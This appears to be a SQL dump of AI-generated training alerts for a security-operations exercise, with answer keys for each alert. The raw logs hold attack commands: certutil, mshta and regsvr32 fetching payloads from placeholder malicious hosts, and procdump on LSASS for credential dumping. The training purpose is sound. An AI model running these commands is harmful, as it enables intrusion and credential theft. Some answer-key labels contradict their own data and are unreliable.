(2078, 'Credential Dumping via LSASS Access Detected', 'critical', 'CrowdStrike', 'A suspicious process attempted to access LSASS memory for credential dumping. This indicates a potential attempt to extract credentials.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.102\",\"dst_ip\":\"192.168.1.105\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc ZWNobyBIZWxsbyBXb3JsZA==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc ZWNobyBIZWxsbyBXb3JsZA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The encoded PowerShell command indicates an attempt to dump credentials using a fileless method.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2079, 'Suspicious Lateral Movement via WMI Detected', 'high', 'SentinelOne', 'Lateral movement attempt detected using WMI from one internal server to another. This could indicate a hacker attempting to move within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:12:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.20\",\"dst_ip\":\"192.168.2.30\",\"username\":\"network_admin\",\"hostname\":\"CORP-DC01\",\"command_line\":\"wmic /node:192.168.2.30 process call create \'cmd.exe /c calc.exe\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.2.30 process call create \'cmd.exe /c calc.exe\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement with potential malicious intent\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI commands to execute processes on a remote machine is indicative of lateral movement attempts.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2080, 'Fileless Malware Activity Detected via Encoded PowerShell', 'critical', 'Carbon Black', 'Detected execution of encoded PowerShell indicative of fileless malware activity. This could be an attempt to execute malicious scripts in memory.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"192.168.1.60\",\"username\":\"sysadmin\",\"hostname\":\"WORKSTATION-12\",\"command_line\":\"powershell.exe -enc aQBlAHgAIAB8ACAAZgBvAFIAZQBhAGMAaAAgACgAJABjAG8AbQBtAGEAbgBkADoAUABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAIAAtAHYAcgBlAGIAOwApAHwAIAAtAGYAcgBlAGUAbwBlAGQAKQAgAH0A\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aQBlAHgAIAB8ACAAZgBvAFIAZQBhAGMAaAAgACgAJABjAG8AbQBtAGEAbgBkADoAUABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAIAAtAHYAcgBlAGIAOwApAHwAIAAtAGYAcgBlAGUAbwBlAGQAKQAgAH0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command associated with known fileless malware techniques\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is characteristic of fileless malware, which executes scripts directly in memory.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2081, 'Malicious Network Connection Detected to Known C2 Server', 'high', 'Sysmon', 'A network connection was established with a known command and control server. This is indicative of potential malware communication or data exfiltration.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:23:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.100\",\"dst_ip\":\"203.0.113.25\",\"username\":\"jdoe\",\"hostname\":\"CLIENT-XY\",\"request_body\":\"N/A\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of certutil.exe for downloading malware payloads is a known tactic\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP and use of certutil.exe to download a payload indicates a data exfiltration attempt.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2082, 'Suspicious Execution of MSHTA for Script Execution', 'high', 'CrowdStrike', 'Detected the use of mshta.exe to execute a remote script. This is often used in fileless attacks and could indicate malicious activity.', 'Malware', 'T1218.005', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:47:03Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.0.150\",\"dst_ip\":\"192.168.0.151\",\"username\":\"user123\",\"hostname\":\"DESKTOP-ABCD\",\"command_line\":\"mshta.exe http://malicious-site.com/script.hta\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://malicious-site.com/script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malicious activities, often used in phishing attacks\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of mshta.exe to execute remote scripts is a well-known tactic for executing malicious code.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2083, 'PowerShell Fileless Malware Detected via Encoded Command', 'critical', 'CrowdStrike', 'A PowerShell script with encoded commands was executed on the host, indicative of a fileless malware attack. The command was used to download and execute malicious payloads.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-WIN10-02\",\"command_line\":\"powershell.exe -NoP -NonI -W Hidden -Enc W3JpY2tvbGV0IGNvbW1hbmQuZXhl\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoP -NonI -W Hidden -Enc W3JpY2tvbGV0IGNvbW1hbmQuZXhl\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command often used in fileless malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was used to execute a fileless malware attack, which is a known method to evade detection.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2084, 'Credential Dumping Detected via LSASS Access', 'critical', 'SentinelOne', 'Suspicious access to LSASS memory detected, indicating potential credential dumping activity. This is often a precursor to lateral movement.', 'Credential_Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"CORP-SRV01\",\"command_line\":\"procdump.exe -ma lsass.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -ma lsass.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Procdump used to extract credentials from LSASS memory\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Procdump was used to access LSASS, which is a common technique for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2085, 'Lateral Movement Detected via WMI Execution', 'high', 'Carbon Black', 'WMI was used to execute commands on a remote host, suggesting lateral movement activity within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.25\",\"username\":\"analyst\",\"hostname\":\"CORP-ADMIN01\",\"command_line\":\"wmic /node:192.168.1.25 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.25 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI used for lateral movement within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute commands on another system is indicative of lateral movement tactics.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2086, 'Suspicious Use of Certutil for Data Exfiltration', 'high', 'Sysmon', 'Certutil was used to encode and potentially exfiltrate data, a common method used by attackers to bypass security controls.', 'Data_Exfiltration', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.16\",\"dst_ip\":\"\",\"username\":\"tuser\",\"hostname\":\"CORP-LAPTOP01\",\"command_line\":\"certutil -encode data.txt encoded_data.txt\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil -encode data.txt encoded_data.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Certutil used for encoding data, potentially for exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.16\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Certutil is often used by attackers to encode and exfiltrate data without detection.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2087, 'Regsvr32 Execution of Malicious Script', 'high', 'CrowdStrike', 'Regsvr32 was used to execute a remote script, a known technique for bypassing application whitelisting defenses.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"\",\"username\":\"hacker\",\"hostname\":\"CORP-DESKTOP01\",\"command_line\":\"regsvr32 /s /n /u /i:https://malicious.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:https://malicious.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted at the URL executed using regsvr32\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://malicious.com/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted at this URL\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Use of regsvr32 to execute remote scripts is a known method for evading detection and executing malicious payloads.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2088, 'Credential Dumping Detected via LSASS Memory Access', 'critical', 'CrowdStrike', 'A suspicious process was detected accessing LSASS memory, indicating a potential credential dumping attempt. The attack originated from an internal system using PowerShell with encoded commands.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc SQBFAFgAQwBTAEEAbABsAGUAbQB1AE4ARQByAEkAdwBTAEEAbABlAG0A\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in credential attack\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc SQBFAFgAQwBTAEEAbABsAGUAbQB1AE4ARQByAEkAdwBTAEEAbABlAG0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The PowerShell command was encoded and aimed at accessing LSASS, a common technique for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2089, 'Lateral Movement Detected via WMI Execution', 'high', 'Carbon Black', 'Suspicious WMI command execution detected originating from a compromised internal host, indicating lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T21:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.30\",\"dst_ip\":\"10.0.2.45\",\"username\":\"network_admin\",\"hostname\":\"CORP-WORKSTATION15\",\"command_line\":\"wmic /node:10.0.2.45 process call create \'cmd /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address initiating WMI command\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.45 process call create \'cmd /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"WMI command used for lateral movement detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI execution from one internal host to another is indicative of lateral movement attempts.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2090, 'Fileless Malware via Encoded PowerShell Command', 'critical', 'SentinelOne', 'A fileless malware attack was detected involving an encoded PowerShell command. The attack was aimed at downloading and executing malicious scripts.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:17:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.50\",\"username\":\"user01\",\"hostname\":\"CORP-LAPTOP07\",\"command_line\":\"powershell.exe -enc YwBlAHIAdAB1AHQAaQBsAC4AZQB4AGUAIAAtAGYAIABzAGgAZQBsAGwALgBlAHgA\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing fileless malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc YwBlAHIAdAB1AHQAaQBsAC4AZQB4AGUAIAAtAGYAIABzAGgAZQBsAGwALgBlAHgA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for fileless attack\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell script suggests fileless malware tactics aimed at stealthy execution.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2091, 'Suspicious Certutil Activity Detected', 'high', 'Sysmon', 'A suspicious invocation of Certutil was detected, potentially used to download a malicious payload from an external server.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.22\",\"dst_ip\":\"104.248.123.45\",\"username\":\"guest_user\",\"hostname\":\"CORP-DESKTOP12\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-domain.com/payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address using Certutil for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-domain.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download potentially malicious payload\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was used in a non-standard way to download files, suggesting misuse for malicious purposes.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2092, 'Regsvr32 Executed with Remote Script', 'high', 'CrowdStrike', 'Detected regsvr32 executing a remote script, a common technique for fileless malware execution. The script was hosted on an external IP.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.50\",\"dst_ip\":\"198.51.100.77\",\"username\":\"developer_user\",\"hostname\":\"CORP-SERVER02\",\"command_line\":\"regsvr32.exe /s /u /i:http://dangerous-site.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.4.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP executing regsvr32 with external script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /i:http://dangerous-site.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute remote script, typical in fileless attacks\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 was used to execute a script from a remote source, a known fileless malware technique.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2093, 'Suspicious PowerShell Encoded Command Execution Detected', 'critical', 'CrowdStrike', 'A fileless malware attack leveraging PowerShell with encoded commands was detected. The attack was attempting credential dumping from LSASS on an internal server.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"powershell.exe -enc W1Rlc3RdIHdoaWxlIElFbmNvZGVkQ29tbWFuZA==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W1Rlc3RdIHdoaWxlIElFbmNvZGVkQ29tbWFuZA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command was encoded, a common tactic used in fileless malware attacks to evade detection.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2094, 'Credential Dumping via LOLBin Detected on Internal Network', 'high', 'SentinelOne', 'Credential dumping from LSASS was attempted using regsvr32, a known LOLBin technique, indicating potential lateral movement.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.12\",\"dst_ip\":\"10.0.1.25\",\"username\":\"sysadmin\",\"hostname\":\"workstation03\",\"command_line\":\"regsvr32.exe /s /u /n /i:cmd.exe scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in the attack\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /n /i:cmd.exe scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Use of regsvr32 to execute scripts, indicative of credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of regsvr32 with cmd.exe indicates an attempt to bypass security controls for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2095, 'WMI Lateral Movement Detected Across Domain', 'high', 'Carbon Black', 'An attacker used WMI for lateral movement within the network, targeting multiple devices to execute remote commands.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.5\",\"dst_ip\":\"10.0.2.35\",\"username\":\"network_admin\",\"hostname\":\"central_server\",\"command_line\":\"wmic /node:10.0.2.35 process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP used for internal lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.35 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command execution used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI was used to execute commands on a remote host, indicating lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2096, 'Certutil Abuse for Malicious Payload Download Detected', 'critical', 'Sysmon', 'Certutil was used to download a malicious payload from an external source, likely for establishing persistence or further compromise.', 'Malware', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:47:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.8\",\"dst_ip\":\"198.51.100.25\",\"username\":\"user_john\",\"hostname\":\"client02\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-site.com/payload.exe payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-site.com/payload.exe payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Certutil abuse for downloading malicious files\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was leveraged to download a known malicious payload, indicating an attempt to bypass security measures.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
